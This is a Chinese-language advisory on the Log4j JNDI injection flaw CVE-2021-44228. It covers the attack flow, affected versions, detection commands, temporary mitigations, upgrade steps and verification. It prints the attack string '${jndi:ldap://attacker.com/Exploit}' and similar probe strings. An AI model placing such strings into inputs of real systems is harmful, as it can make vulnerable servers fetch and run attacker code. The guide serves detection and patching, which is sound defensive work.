Apache Log4j远程代码执行漏洞(含排查措施和修复建议)
字数 1502 2025-08-07 08:21:54
Apache Log4j远程代码执行漏洞分析与防护指南
1. 漏洞概述
Apache Log4j是一个广泛使用的Java日志框架,其2.x版本中存在远程代码执行漏洞(CVE-2021-44228),攻击者可通过构造特殊日志信息触发漏洞,实现任意代码执行。
漏洞基本信息
- 漏洞编号:CVE-2021-44228
- 漏洞名称:Log4j2 JNDI注入漏洞
- 影响版本:Log4j 2.x <= 2.14.1
- 漏洞类型:远程代码执行
- CVSS评分:10.0(最高危)
2. 漏洞原理
2.1 JNDI注入机制
Log4j2提供了lookup功能,允许通过${}语法在日志消息中引用变量。当使用JndiLookup时,Log4j会通过JNDI(Java Naming and Directory Interface)查询外部资源。
2.2 攻击流程
- 攻击者构造包含恶意JNDI查找的字符串,如:
${jndi:ldap://attacker.com/Exploit} - 该字符串被记录到应用程序日志中
- Log4j解析日志时执行JNDI查找
- 服务器连接到攻击者控制的LDAP服务器
- LDAP服务器返回恶意Java类
- 受害服务器加载并执行恶意代码
3. 影响范围
受影响组件
- 直接使用Log4j2作为日志组件的应用
- 间接依赖Log4j2的框架(如Spring Boot、Apache Struts等)
- 使用受影响Java库的云服务、企业应用
典型受影响场景
- 任何记录用户可控输入的日志操作
- HTTP请求头、参数、表单数据记录
- 用户代理字符串记录
- 其他用户可控数据的日志记录
4. 漏洞检测
4.1 版本检测
检查项目中是否存在Log4j-core的2.0-beta9到2.14.1版本:
mvn dependency:tree | grep log4j-core
或检查jar包版本:
unzip -p log4j-core-*.jar META-INF/MANIFEST.MF | grep Implementation-Version
4.2 在线检测工具
- 奇安信网神漏洞扫描器
- Nessus、Qualys等商业漏洞扫描工具
- Log4j漏洞专用检测脚本
4.3 手动检测方法
尝试触发JNDI请求:
logger.error("${jndi:ldap://your-server.com/test}");
然后监控网络请求是否发出。
5. 修复方案
5.1 紧急缓解措施(临时方案)
方案1:设置系统属性
在应用启动参数中添加:
-Dlog4j2.formatMsgNoLookups=true
方案2:修改环境变量
设置:
LOG4J_FORMAT_MSG_NO_LOOKUPS=true
方案3:移除JndiLookup类
删除log4j-core-*.jar中的JndiLookup类:
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
5.2 彻底修复方案
升级到安全版本
- Log4j 2.15.0及以上版本(推荐2.17.0+)
- 对于Java 8以下环境,使用2.12.2版本
Maven依赖更新:
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.17.0</version>
</dependency>
5.3 其他防护措施
-
网络层防护:
- 防火墙限制外连请求
- 拦截恶意JNDI请求
-
主机层防护:
- 使用RASP防护
- 更新JVM安全策略
-
代码层防护:
- 避免记录用户可控输入
- 对日志内容进行过滤
6. 修复验证
- 确认版本已升级:
java -jar log4j-core-*.jar --version
- 验证漏洞是否修复:
// 测试代码
logger.error("${jndi:ldap://127.0.0.1/test}");
// 不应有网络请求发出
- 使用漏洞扫描工具重新检测
7. 长期防护建议
-
依赖管理:
- 使用依赖检查工具(如OWASP Dependency-Check)
- 定期更新所有第三方库
-
安全开发:
- 避免在日志中记录用户输入
- 实施代码安全审计
-
监控响应:
- 建立漏洞监控机制
- 制定应急响应计划
-
深度防御:
- 部署WAF规则拦截攻击
- 启用JVM安全限制
8. 相关资源
-
官方安全公告:
-
漏洞详情:
-
检测工具:
通过以上措施,可有效防护Log4j远程代码执行漏洞,建议优先采用升级方案,并结合其他防护措施构建纵深防御体系。